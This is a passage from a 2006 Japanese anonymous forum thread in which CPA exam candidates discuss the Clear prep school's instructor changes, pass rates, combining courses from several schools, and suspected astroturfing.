774:一般に公正妥当と認められた名無しさん
06/11/16 20:08:01
今回の講師の変更はそんなにやばくないような。
新試験委員の置き土産テキストに、会計大学院設置委員が新講師だろ。
今年のクレ、最強じゃね？
775:一般に公正妥当と認められた名無しさん
06/11/16 20:10:02
大学での講義を思い出してみ。
講義がうまい教授なんてほんの一握りだよ。
大半がぐだぐだ。
776:一般に公正妥当と認められた名無しさん
06/11/16 20:26:50
>>775
>>774みたいに考えないとやってられないだろ。
察してやれ
777:一般に公正妥当と認められた名無しさん
06/11/16 20:34:27 xHaIsImV
>>776
合言葉は 「N村よりは・・・」
778:一般に公正妥当と認められた名無しさん
06/11/16 20:48:25
最近、Ｎ村はどうよ
779:一般に公正妥当と認められた名無しさん
06/11/16 21:06:41
監査単科の受講生は申し出れば返金になると、
神戸校のスタッフが言ってましたよ。
780:一般に公正妥当と認められた名無しさん
06/11/16 21:49:52 tvB8MXzE
クレ生ラッキーだよ・・・
781:一般に公正妥当と認められた名無しさん
06/11/16 22:14:53
クレが最強になるかどうかは、今度の新任講師で決まる。
782:一般に公正妥当と認められた名無しさん
06/11/16 22:15:53
>>778
安井ちゃんの劣化コピーになりました。
783:一般に公正妥当と認められた名無しさん
06/11/16 22:22:03
うはｗｗｗｗｗ
スタペで堀江買取希望続出。
784:一般に公正妥当と認められた名無しさん
06/11/16 22:25:17
>>783
なるほど、そこで投資を回収する手もあるかｗ
785:一般に公正妥当と認められた名無しさん
06/11/17 00:53:15
べつに試験委員の本なんか2千円位で買えますけど
786:一般に公正妥当と認められた名無しさん
06/11/17 15:14:38
クレアールにタックのアクセスみたいな答案練習だけのコースってありますか？
ＯＨＰ見ても発見できなかった・・・
787:一般に公正妥当と認められた名無しさん
06/11/17 15:31:42
非常識合格法に、アクセスなど必要ございません。
788:一般に公正妥当と認められた名無しさん
06/11/18 22:24:58 xl5HeHmY
>>630-631
できれば経営と租税の問題点をもう少し詳しくお願いします。
今年度は短答科目だけの勉強で短答受験。
来年度は通信でクレを取っていて、まだ経営・租税は勉強してないんですけど、
注意点などあったら教えてください。
789:一般に公正妥当と認められた名無しさん
06/11/18 22:27:39 x2r4i00O
県立病院の常勤医師の給与を引き上げへ
県は県立病院の常勤医師の確保に向け、給与を引き上げる方向で検討に入る。医師不足が
深刻化していること への対応で、処遇改善を図って医師の囲い込みを目指す。３日の９月県議
会一般質問で、秋山時夫病院局長が答 えた。
県立病院の常勤医師の給与総額は４０歳代前半で年間１５００万円程度となっており、民間病
院の医師に比べ て低い水準にあると指摘されている。
ソース：
URLﾘﾝｸ(www.fukushima-minpo.co.jp)
790:630-631
06/11/18 22:47:38
>>788
合格してたら書きますよ。
してなくても書くかもしれないけど。
791:一般に公正妥当と認められた名無しさん
06/11/18 22:49:05
独身女性限定
URLﾘﾝｸ(human5.2ch.net)
彼氏が医者 (185)
ｽﾚﾘﾝｸ(sfe板)
182:Miss名無しさん :2006/11/18(土) 13:33:28 ID:lMjFqG3d
医者を妬むのはかまわないが。
この日本で亡くなったら最後は医者の世話になるんだ。診断書で。
それにここは「彼氏が医者」だ。
750:Miss名無しさん :2006/11/13(月) 01:09:42 ID:rs7KIX8J
つまりぃ、延々医者貶ししてる彼は、医者になれなかったのが相当悔しかったんじゃないのｰ？
願望ヽ(^｡^)ノ、みたいな
こないだテレビで訴訟に負けても保険で払うから医者は一銭も払わないってやってたしね。
医者の自虐ネタ一生懸命探してｺﾋﾟﾍﾟしてくるなんて(ﾟ〇ﾟ;)
敵わない相手に必死で挑んでるみたいで、ｲﾀｲ(^_^;)
267:Miss名無しさん :2006/11/14(火) 09:39:51 ID:oWXn5FK6
医者以外儲かってないよねw会計士とか負け組だねw
792:一般に公正妥当と認められた名無しさん
06/11/19 19:43:58 pc2YmTiA
今日も寒かったですが晴れていましたので、
皐月にたっぷり水をあげて日の当たる場所に移動させました。
朝は受付周辺のレイアウト変更をしました。
その後は昨日に引き続きアタック１コースの作問をしました。
途中、まぐまぐを送りました。登録している人はメールをチェックしてみて下さい。
明日は日商簿記１級の本試験です。
私も解答解説作成のため、会場で受験します。
中央大学理工学部で受験される方は、見かけたら気軽に声をかけて下さいね。
日商１級受験生の皆さんのご健闘をお祈りしています。
793:一般に公正妥当と認められた名無しさん
06/11/20 09:08:38
合格しますた｡･ﾟ･(ﾉД`)･ﾟ･｡
794:一般に公正妥当と認められた名無しさん
06/11/20 10:38:19
俺も合格しますた。
簿記の出来が半端じゃなく悪かったので、
未だに信じられない・・。本社12問。
795:一般に公正妥当と認められた名無しさん
06/11/20 12:07:13
↑純粋クレだけ？何回目？
今初受験クレだけど、本当に大丈夫ですか？
796:一般に公正妥当と認められた名無しさん
06/11/20 12:58:39
>>793って本当に合格者？
9:08って、官庁発表直後だよね。
携帯からわざわざ２ちゃんスレにsageと打ち込んで、しかも顔文字って不自然な感じがする。
797:一般に公正妥当と認められた名無しさん
06/11/20 13:17:06
794だけど、基本的にクレだけですが
論文前に他校の直前をピックしたので、
純粋クレ生ではないです。一応、初受。
ただ、クレをメインにした選択は正しかったと思うし、
また、クレだけだと受からなかったなとも思う。
だから、今初受験でクレという選択は俺的には大丈夫だと思いますよ。
798:一般に公正妥当と認められた名無しさん
06/11/20 15:30:26
クレって一発合格多そうに聞こえますが、真相は？
799:一般に公正妥当と認められた名無しさん
06/11/20 15:30:32
他校の直前とは具体的には何を取りましたか？
800:630-631
06/11/20 17:57:50
私も合格しました。
泣きそうになった。。。
簿記３級を３月にはじめてから、1.5年で一発合格。
最後の追い込みがよかったのかと今では思う。
今から飲みまくるので、租税と経営についてはまた後日。
801:一般に公正妥当と認められた名無しさん
06/11/20 18:01:26 HhPDcTmo
あ、ちなみに同じクレの知り合いも合格していました。
そいつはTACからクレにうつってきて４回目で合格だから苦労人
802:793
06/11/20 18:06:04
公認会計士･監査審査会のホームページは9時から結果だしてたよ
で、レスが遅くなったのは大学とクレに行ってたから
周りの話を聞く限りだと今年はクレ合格者多そうだね
803:一般に公正妥当と認められた名無しさん
06/11/20 19:20:11
クレかタクか迷う
社会人ならクレのほうがいいかな？
804:一般に公正妥当と認められた名無しさん
06/11/20 20:38:13
堀江ってひとが抜けたのはそんなに大きいですか？
805:一般に公正妥当と認められた名無しさん
06/11/20 20:42:21
>>804
意外に、クレ生は静観。
あわてているのはヴェテ。
そんなに悪そうな講師ではない。たぶん、堀江が見つけてきたのだろう。
講義がはじまらないとどちらにしてもわからないが。
806:一般に公正妥当と認められた名無しさん
06/11/20 22:18:44 zCiKug4n
専門選びはギャンブルでしょ。。。
今年は去年合格するはずのクレ生がごっそり合格しただけ。
受かるやつはどこにいても受かる。
807:一般に公正妥当と認められた名無しさん
06/11/20 22:32:00
合格者が多いってことは、総平均の格率８．５％を超えているのは当然として、
どのくらいの合格率なんでしょうか？
808:一般に公正妥当と認められた名無しさん
06/11/20 22:49:35
超えているかな・・・？
809:一般に公正妥当と認められた名無しさん
06/11/20 23:39:19
論文合格率は高そう
ただ短答合格率は･･･
810:一般に公正妥当と認められた名無しさん
06/11/21 00:17:59
>799
「大原総まとめ」と「LEC管理直前レベ答練」です。
前者では、企業法と経営(財務論）、
後者は理論問題集が役に立ったと思います。
企業法はクレだけだと、少なくとも俺は
論文の書き方を知る事はできなかったんです。
事例の「問題提起→規範定律→当てはめ」という流れは
まとめ講義で初めてその存在を知ったし、
答案は、段落分けして書いたりして良いんだってのも初めて知りました。
(財表の答練で石井先生がダメって言ってたので、企業もそうだと思ってた)
要するに、論証集がないので、それを補完しました。
財務論は、大原の総まとめを聞いて初めて
クレで勉強したことが理解できました。
あと、本試験の2問目の計算問題。
あれも巻末に載ってた入門答練やっておいたおかげで解けました。
LEC理論問題集は、、多分、会計学で足きりにならなかったのは
こいつのおかげなんだろうなって思います。
後の科目も手厚くやったけど(所得税や概フレ企業結合純資産棚卸)、
本試験には役に立たず。クレの知識のみで対応できました。
とはいえど、租税は来年以降もこの調子で続けるならば、
甘やかしすぎて他校に差をつけられる気がしますけどね・・。。
こんな感じですm(__)m
811:一般に公正妥当と認められた名無しさん
06/11/21 00:20:25
鈴蘭台ってどうなんったんだ？誰かおせーて
812:一般に公正妥当と認められた名無しさん
06/11/21 04:00:56
クレの合格率、結局何％だったのかね？？？
２３日の祝賀会行って報告するけど、俺の予想では水道橋校で４０％位？
このうち半分以上が他校掛け持ちしてる感じかな。
813:一般に公正妥当と認められた名無しさん
06/11/21 10:00:50
ライブのメンツだけが受講生ではないよ。
収録通学や通信を合わせた人数の方がライブの何倍もいることを忘れずに。
814:一般に公正妥当と認められた名無しさん
06/11/21 13:02:22
>>812
半数以上が他校掛け持ちというのは、専門として機能しているといえるのかな。
メイン講師のうち支持の高かったほうが欠けるのも痛い。
815:一般に公正妥当と認められた名無しさん
06/11/21 14:54:18 bwJ6LJkf
ＴやＯの人もクレで単科を受講していた人を多く見かけましたよ。どこも相乗りしている人は多いのでは。何とか合格です。
816:一般に公正妥当と認められた名無しさん
06/11/21 15:32:53
そろそろ落ちた人も元気出して書き込んでほしい
817:一般に公正妥当と認められた名無しさん
06/11/21 18:14:04
>>809
逆、逆。クレは短答は異様に合格率が高いが、論文の当たり外れが激しい。
今年は当たり年かもね。来年は・・・
818:一般に公正妥当と認められた名無しさん
06/11/21 20:28:10
合格した方々 本当におめでとう
やる気が出てきました
819:一般に公正妥当と認められた名無しさん
06/11/21 20:55:13
社員も大変だねーｗ
820:一般に公正妥当と認められた名無しさん
06/11/21 21:07:23
>>805
「そんなに悪そうな講師ではない」って・・・。
講義を受けたこともない見知らぬ講師のはずなのに・・・。
露骨な営業は、逆効果だと思うが。
821:一般に公正妥当と認められた名無しさん
06/11/21 21:27:33
このスレは工作員が跋扈しているので何が真実かは正直不明。
822:一般に公正妥当と認められた名無しさん
06/11/21 21:59:12
まじれすすると、クレから完全にアクセルに乗り換えた受講生は全滅。
（某ブログより、４名中、４名死亡）
クレをベースとして、経営学直前大原と池辺LV直前が王道。
823:一般に公正妥当と認められた名無しさん
06/11/21 22:05:23
>>822
なるほど！
クレアールが王道ってわけですね。
824:一般に公正妥当と認められた名無しさん
06/11/21 22:11:33
俺クレからアクセル完全移籍で合格なんだけど・・・
825:一般に公正妥当と認められた名無しさん
06/11/21 22:20:16
>>824
落ちた４人を母集団としてデータを集めただけかな。
移籍した連中のレベルについて書かれていないしね。
こんなお粗末な情報でも、おばかさんが読めばそれなりの判断を下してくれるし、
それだけだろうね。
826:一般に公正妥当と認められた名無しさん
06/11/21 22:28:50
>>824
いや、別にアクセルを擁護してるわけでもなんでもないんだけど、
一応受かってる人間もいるよってこといいたかっただけなんだ。
工作活動にはほんとうんざりだからね。
クレを、もちあげるのも、その逆も。
827:一般に公正妥当と認められた名無しさん
06/11/21 22:49:28
そもそも貴方達は、なぜクレに入ったのか知りたい。
828:一般に公正妥当と認められた名無しさん
06/11/21 23:55:55
祝賀会みんないくの？
829:一般に公正妥当と認められた名無しさん
06/11/22 00:36:47
いかない。クレのスタッフが嫌いだから
830:一般に公正妥当と認められた名無しさん
06/11/22 01:10:47
よし牛また落ちた
831:一般に公正妥当と認められた名無しさん
06/11/22 02:07:21
工作員乙ｗ
832:一般に公正妥当と認められた名無しさん
06/11/22 06:30:16
このスレで工作員乙、社員乙って
ことある毎に書き込んでる奴は
クレを相当恨んでるね…
受験人生をやり直したいならＴＡＣに行きなさい。
クレはギャンブルしたいやつの行くところ。
今年とか２年前にクレにいて合格できないやつはＴＡＣにいってもなかなか受からないと思うけどね…
833:一般に公正妥当と認められた名無しさん
06/11/22 06:52:11
一言で書くとクレはギャンブル。
ＴやＯで伸びない人間が最後に救いを求めてくる所。
初学でクレは自殺行為。
これが真実でしょ。
ギャンブルしたいやつの選択肢は２つ。
野坂を選ぶか石井を選ぶか。
834:一般に公正妥当と認められた名無しさん
06/11/22 07:00:07
クレをやめてアクセルに行って失敗した例
itaru
835:一般に公正妥当と認められた名無しさん
06/11/22 10:32:12
クレは簿記１級時代から数えて３年目、受験２～３回目の人が結構受かってるみたいです。
女性多し。
社会人高学歴通信での合格者や、通学集団で勉強している中に１発合格がたまにでるみたいだし。
だから、平均的といえば平均的では？
安い（？）し悪くは無いと思う。良いかどうかは個人の問題かと。
試しにDVD理論科目の見せてもらって決めようと思う。堀江がいなくなったのは痛いが。
836:一般に公正妥当と認められた名無しさん
06/11/23 04:59:47
>>835
セミナーで騙されたか？
クレに女性と呼べる生き物はほとんどいない。
今日の祝賀会、堀江先生くるといいね…
837:一般に公正妥当と認められた名無しさん
06/11/23 08:13:33
クレ大勝利！！！
クレをみかぎって他へ移った人達、残念賞でした(笑)
今年は租税で所得の計算をＮ澤がきったのが正解だったね。
あれのお陰で租税やる時間が少なくて済んだ。
わざわざＬＥＣから引き抜いただけのことはある。
Ｎ澤＞キド
838:一般に公正妥当と認められた名無しさん
06/11/23 09:10:59 9u85R9va
おいおい
今年のクレの合格率しってるか？
二年連続で３パセーント未満だぜ
確かに2004年はまぐれあたりしたけどな
839:一般に公正妥当と認められた名無しさん
06/11/23 11:04:49
>>838
俺が知ってるだけでクレ生２０人近く合格してるけど？
今年３％はありえないね…
去年は本当に３％未満かもしれんが(笑)
840:一般に公正妥当と認められた名無しさん
06/11/23 11:34:00
>>839
去年受かるはずだったのが繰り越されて、懲役が１年延びただけ。
加重平均すれば、平均以下。
841:一般に公正妥当と認められた名無しさん
06/11/23 11:36:55
>>837 >>839
なんでこいつはスレに粘着して一人でクレを絶賛してるんだ？
842:一般に公正妥当と認められた名無しさん
06/11/23 11:40:22
だから教室ライブ生だけで率なんて出そうとするなって。
よく知られている人は、毎日ライブで授業でて大学生活など犠牲にして一日中校舎にいる人。
そういう状況で、できるグループが存在するのはTACでも大原でも一緒だ。
DVDや通信であるていど孤独な状況でも受かった人の話を聞きたい。
一番大事な講師の質や、非常識って言ってるなら
主婦でも受かるとかいかに他校と比べて効率がいいのかを聞きたい。
843:一般に公正妥当と認められた名無しさん
06/11/23 11:40:27
>>841
今までバカにされてたのが悔しかったんだろ
844:一般に公正妥当と認められた名無しさん
06/11/23 12:21:33
私は個別DVDで受かりました
勉強もやらず２ちゃん三昧で
しかもWBCとワールドカップと高校野球をほとんど見ていたのに
なんだかちゃんと勉強した人に申し訳ない気持ちも少しあります
ちなみに平均勉強時間は4時間いかないくらいだと思います
845:一般に公正妥当と認められた名無しさん
06/11/23 12:30:15
詳しく体験記書いて♪
846:一般に公正妥当と認められた名無しさん
06/11/23 12:32:41
842の要望に応えて、脊髄反射する>>844にﾜﾗﾀ
少なくとも、高校野球をほとんど見てるのはあり得ないな。
試験の実情を知らない人間が下手にﾏﾝｾｰすると、逆に墓穴を掘るといういい例だな。
847:一般に公正妥当と認められた名無しさん
06/11/23 12:35:46
すみません本当なんです
この話をするといつも嘘だといわれるんですが･･･
論文の勉強は管理会計以外は1週間前からはじめたくらいです
管理会計は苦手だったので2週間前からはじめてました
848:一般に公正妥当と認められた名無しさん
06/11/23 12:43:40
>>847
「この話をするといつも」ってさ、受かってから何日経ってるんだよｗｗｗ
明らかな虚言。
頭が悪すぎるな。
新手の褒め殺しかもしれないがｗ
849:一般に公正妥当と認められた名無しさん
06/11/23 12:46:28
受かる前から勉強してないと友人に話していましたし
受かった後も同じ話を同じ友人に話したんです
やっぱり信じてもらえないのかな･･･
850:一般に公正妥当と認められた名無しさん
06/11/23 12:55:02
>>849
受かる前から話していれば、本当に勉強してないんだなと思われるだけだし、
同じ話を同じ友人に受かった後に話したとすれば、状況を知っている訳だから嘘だとは言われない。
少なくとも、「この話をするといつも嘘だと言われる」状況は存在しない。
取り繕おうとして次から次へと辻褄が合わない事例を並べるのは仕様ですか？
851:一般に公正妥当と認められた名無しさん
06/11/23 13:03:34
よく高校の試験とかで勉強してないといいながらいい点とってる人がいるじゃないですか
たぶんあの類に見られているんだと思うんです
しかも個別DVDかつ自宅で勉強するタイプなのでその友人は私の勉強状況は分からないんです
また、親からも嘘だといわれました（私は1人暮らしですから親にも勉強状況は分かりません）
852:一般に公正妥当と認められた名無しさん
06/11/23 13:34:21
>>851
タイムテーブルを書いてみる良いよ。
どこがおかしいかはっきりするんじゃないかな。
853:一般に公正妥当と認められた名無しさん
06/11/23 13:36:29
どこもおかしくないですよ？
事実を書いてますから
854:一般に公正妥当と認められた名無しさん
06/11/23 13:57:21
では祝賀会にいってきます
855:一般に公正妥当と認められた名無しさん
06/11/23 13:58:52
では自習室に戻ります
856:一般に公正妥当と認められた名無しさん
06/11/23 16:39:24
では外回り行ってきますｗ
857:一般に公正妥当と認められた名無しさん
06/11/23 18:18:30
バカ乙ｗ
858:一般に公正妥当と認められた名無しさん
06/11/23 18:48:16
ただいま帰りました
堀江先生と石井（和）先生がいらしてなくて残念でした
859:一般に公正妥当と認められた名無しさん
06/11/23 19:22:06 5QsxpfCM
租税法のランクのみが予想以上に低かったという人が続出しています。
アカスク試験委員は問題漏洩のみならず採点においても不公正を図り、予備校生の答案に多くみられるある特徴に着眼しそこに大幅な減点基準を設けたのではないか、
または許容範囲を超えるほど２２条に大きく配点したのではないか、という説があります。
ちなみに漏洩の件は確証が得られました。マスコミが取り上げないのはなぜでしょう。
860:みんく
06/11/23 21:12:07 3UZFhdu2
祝賀会の状況をもっと詳しく！！！！！！！！！！
会場に入りきらない程来たと聞いたがホント？
何人ぐらい来たの？
861:一般に公正妥当と認められた名無しさん
06/11/23 21:25:53
今年は社労士・司法書士と合同の祝賀会だったので会場は一杯でしたよ
ちなみに会計士は100人以上合格者がでたようです
862:一般に公正妥当と認められた名無しさん
06/11/23 21:29:38
クレでゼミとかやった士補も祝賀会来てる？
863:一般に公正妥当と認められた名無しさん
06/11/23 21:34:31
粉飾っぽくね？またかよって感じだけど
社労士と司法書士と士補と科目合格者を除いた正確な人数が知りたい
体験記が出る頃はもう金払い終わってるわけだし
864:一般に公正妥当と認められた名無しさん
06/11/23 21:36:29
士補も入れてならありかも。
865:一般に公正妥当と認められた名無しさん
06/11/23 21:42:58 DaK9bSHt
真実を書くと、
今年は合格者がかなり多かった。会場は満杯。
なぜか。。。
2005年度の結果から、クレのみを信用して勉強する人が少なくなったから。
今年はクレアール＋アクセル＋大原のかけもちが多い。
866:一般に公正妥当と認められた名無しさん
06/11/23 21:44:02 DaK9bSHt
ちなみに、クレ専念の毎回生成一桁の某君はおちてました
867:一般に公正妥当と認められた名無しさん
06/11/23 21:50:52
>>862
私も何年かクレにいるのですが過去に論文式を受かった方も何人か来ていました
その方がゼミを持っていたかどうかは分かりかねますが･･･
私はそういうものには興味がないので･･･
>>863
科目合格者は祝賀会に来ていません
100人以上というのもおそらく科目合格者は含まれていません
士補が含まれているのかは分かりません。私も人づてに聞いたもので･･･
868:一般に公正妥当と認められた名無しさん
06/11/23 21:51:19
そういやＴ、Ｏのどっちのパンフにも顔載ってる奴とかいるわな
監査だけ取ってた人もタダ飲みできるんだから、そりゃ行くわ
869:一般に公正妥当と認められた名無しさん
06/11/24 00:33:54
真実を書くと、１００人以上合格者が出ても、ここに書いてるのは２人だけ。
870:一般に公正妥当と認められた名無しさん
06/11/24 00:56:04
俺も祝賀会さんかしたお(^^)
871:一般に公正妥当と認められた名無しさん
06/11/24 01:04:19
純粋クレの合格者っているの？
872:一般に公正妥当と認められた名無しさん
06/11/24 01:41:27
実はまだ起きてたりします
純粋クレの合格者もいるにはいるでしょうけどかなり少ないんじゃないでしょうかね
私は管理会計はLEC、経営は大原、租税はTAC（悪名高い蛍光ペンの人）でした
873:一般に公正妥当と認められた名無しさん
06/11/24 02:35:48
ここに書いている合格者も半分近く掛け持ちしていますし掛け持ちしてない人が少ないみたいですので、
どうなのかと思いますが、掛け持ちしようと思って通うのでしょうか。
全部で申し込んだ後に掛け持ちでお金がかかると生活が大変で迷っていますので掛け持ちしないと
受かりにくいのでしょうか。
掛け持ちする理由を聞かせてもらえたらと思いますし掛け持ちしなくても受かったということもあるのでしょうか。
874:一般に公正妥当と認められた名無しさん
06/11/24 02:54:09
最初から掛け持ちするつもりで本科取るんだよ。
掛け持ちするのは、クレのテキストが薄くて安いから。
掛け持ちしすぎてピンチになった科目はクレのテキストで本番を迎える。
ＴＡＣをやるのはリスクヘッジ、アクセルをやるのは野坂が当ててるから。
正直勉強量は半端なく多くなるけど、もう１年やるよりはましなんじゃない？
875:一般に公正妥当と認められた名無しさん
06/11/24 02:59:51
連(__)
純粋クレ生でも受かった人はいるよ。
でも俺は去年みたいになったら怖いからＴＡＣの動向を探ってた。
ＴＡＣの公開模試②で監査が一部スバリ的中(笑)してたから、無駄ではなかった。
金が足りんのなら、友達増やして半額ずつ出せばいいんじゃない？
876:一般に公正妥当と認められた名無しさん
06/11/24 03:26:57
急にのびだしたな。
次スレのタイトル候補。
・クレアール会計士16「堀江先生さようなら」
・クレアール会計士16「堀江逃亡ｗｗｗ」
・クレアール会計士16「ゴールデンコンビN村・BABA」
・クレアール会計士16「倒産は近い」
・クレアール会計士16「目玉講師ゼロ」
その他
877:一般に公正妥当と認められた名無しさん
06/11/24 03:29:53
・クレアール会計士16「神の統計学・比佐」
878:一般に公正妥当と認められた名無しさん
06/11/24 06:37:21
クレアール会計士16
モメンタムからリターンリバーサルへ
879:一般に公正妥当と認められた名無しさん
06/11/24 13:41:59 CAhWfJp0
クレアール会計士16 [合格率３パーセント]
880:一般に公正妥当と認められた名無しさん
06/11/24 13:47:50
クレやってて思うのは
ここは自分で考えることができる受験生には最高だってことだな
応用力のあるやつなら、自習時間を多く取れるクレはやりやすいと思う
凡庸な人間は、ある程度掛け持ちしたほうがいいだろうな
881:一般に公正妥当と認められた名無しさん
06/11/24 14:49:23
パンフ見る限りでは講義数大手と変わらないよ。
どこが非常識なのですか？
882:一般に公正妥当と認められた名無しさん
06/11/24 14:55:09
＞＞８７４
返事が遅れて申し訳ありません。親切なご回答ありがとうございました。
お金の面で倍ぐらいかかってしまいそうですが、１年で確実に合格すると言うことを考えた場合に
１年目に失敗してもう一度同じことを繰り返すならば同じだけのお金がかかってしまう上に
合格していれば得られたであろうお金が１年分もらえなくなってしまうことなどを考えますと、
多少のきつさはあっても掛け持ちをして確実に合格をねらう方が良いというように思いました。
掛け持ちする科目は合格者の皆さんはどの科目をどのような理由で選ばれたのでしょうかということについての
ご教示いただけたらと思います。
883:一般に公正妥当と認められた名無しさん
06/11/24 15:08:57
クレ合格者のブログってある？
884:一般に公正妥当と認められた名無しさん
06/11/24 16:17:32
>>883
在学中一発合格しゅんさまのブログ
URLﾘﾝｸ(blog.livedoor.jp)
885:一般に公正妥当と認められた名無しさん
06/11/24 16:21:19
March 12, 2006
追加・追加
この時期不安になってる人が多いみたいなので、ついでに僕のすくな～～い経験から言わせて貰うと
不安で暇なら計算やれば？？って感じです。それと、クレ生がよくいらっしゃるようなので書いとくと、
クレで多分基本的に問題ないと思いますよ。自分でたりないと思うとこだけ付け足せばいいと思います。
僕はクレが短答対策が少ないな～と感じたので、短答対策は余分にやったし、
財表・商法がちょっとこのままでは解答が書けそうにないな～と思ったから論文前にＡクセル取ったし、
学校の授業も聞いたし、でもだからってクレでやったことが０になるわけじゃなく、
色々聞いたから自分の好きな答が見つかったって感じで、前にも何度も書いたけど、
そのとき自分に一番たりないと思うことやってれば本番が勝手にやってくるってのがいいんじゃないかな？
ＴやＯは市販のものしか知らないからなんともいえないけど、クレとＡ比較して、違いをもろに感じたのは財表ぐらいなわけで、
(あ～計算科目の問題の出し方にちょっと違いがあったかも)監査・経営・民法に差は感じなかったし、
専門学校によって違いが出るとしたら環境(周りの人が大きい)なんじゃないかな？それも自分次第だと思うし。
886:一般に公正妥当と認められた名無しさん
06/11/24 16:21:29
しゅんはクレっていうよりＡＸＬだけどな
887:一般に公正妥当と認められた名無しさん
06/11/24 16:22:30
>>884
せっかく探してくれて悪いんだけど、過去のはいいよ。
ここは工作が多すぎるんで、ちゃんとした今年の感想とか見たくてさ。
888:一般に公正妥当と認められた名無しさん
06/11/24 16:23:24
１ スピーチはやりましたか？
やってません。と言うか配られたスピーチカードすらやってません。監査は２回ほど見ましたが他はやってません。
スピーチも所詮勉強法の一つですよね。友達と一緒に勉強するとき結局おしゃべりになってしまう人用って気もします。
一人で勉強する派の僕的にはスピーチは無用でした。
＞＞勉強時間が中々確保できないので、今年は短答の合格を目標にしています。
そんなもったいない事言ってては時間がもったいないですよ。いくらでも何とでもなる試験だとは思いますよ。
僕もこの時期不安でしたが、何とかなりましたし、短答終わってから論文気合入れても十分間に合いましたよ。
(常にだめかとは思ってましたが・・・。)
正誤の判別ですが、一語一句暗記できたらつくでしょうが、僕には無理です。それよりもたくさん短答用の肢
を解いて、どんな引っ掛けや間違いを指そう問題が出るのかをひたすら把握した方が良いのではないかと僕は思います。
２ 簿記と原計の短答対策として、クレアールで配布される問題集と短答答練で足りるのでしょうか？他にやった
ものがあれば教えてください。他の科目でも、クレの教材以外で何か使ったものがあったら教えていただけると
うれしいです。
簿記と原計、クレアールで配布された問題はやってません。(正確には最初のころはやってましたが、途中でや
めました。)短答答練は一回はやりました。でも一回やるとたいてい覚えちゃうから(特に間違ったところは）むしろ
間違えノート作っておけばよかったなーと思います。
後他校の短答模試も受けまくったほうが良いですよ。問題の雰囲気が違い結構びっくりしますから。リスク分散
す。これは前年の合格体験記を見て実践しました。
889:一般に公正妥当と認められた名無しさん
06/11/24 16:24:33
他に使った教材(短答に限ると)(ごめんなさい正確な名前忘れたの多いので、わかるように書きます)
基本的にクレの教材は出るのが遅いので、早めに対処したくて市販のテキストに手を出しまくりました。
簿記：Ｔの５冊つづりの問題集(論文式のやつ)、ＴとＯの市販の短答問題集、案外役に立ったと思うの
が基礎期の答練
原計：ＴとＯの市販の短答問題集、でも原計はほとんど簿記１級を受けていたころの知識で乗り切って
しまったのが実情です。年明けから論文までに原計にかけた時間２０時間ないですよ。(今思うとあせります)
財表：各校の答練、ＴとＯの市販の短答問題集、Ｏの短答用の問題集（Ｏの校舎で売ってるやつ)
監査：財表と同じ、監査基準の穴埋め(堀江先生のやつ)ちゃんとやりました。
商法：Ｏの市販の問題集とＴのポケットに入る大きさの商法用の問題集とクレで直前に配られる短答用の問題集
(でも商法は４点だったのでなんとも言えません、他は対策のおかげで９点でしたが・・・)
890:一般に公正妥当と認められた名無しさん
06/11/24 16:26:55
おれは来年初受験だからよくわからんのだけど。
管理会計だけはまじでクレはやばいとのこと。安井の時からね
かといっていけべは初学者には無駄に難しすぎるのでTAC、大原、アクセルなど
無難なところが良いらしい。
891:一般に公正妥当と認められた名無しさん
06/11/24 16:28:26
>>890は今年の合格者の話ね。
その人はクレ生だけど、どう考えてもアンチクレアール。
他にも注意すべき点はあるらしいけども、
お 前 ら に は 教 え て や ん ね ー
892:一般に公正妥当と認められた名無しさん
06/11/24 17:04:13
負け惜しみ工作員乙ｗ
893:一般に公正妥当と認められた名無しさん
06/11/24 23:25:16
諸説あるけど実績として数字残している以上アンチクレ派は苦しいな。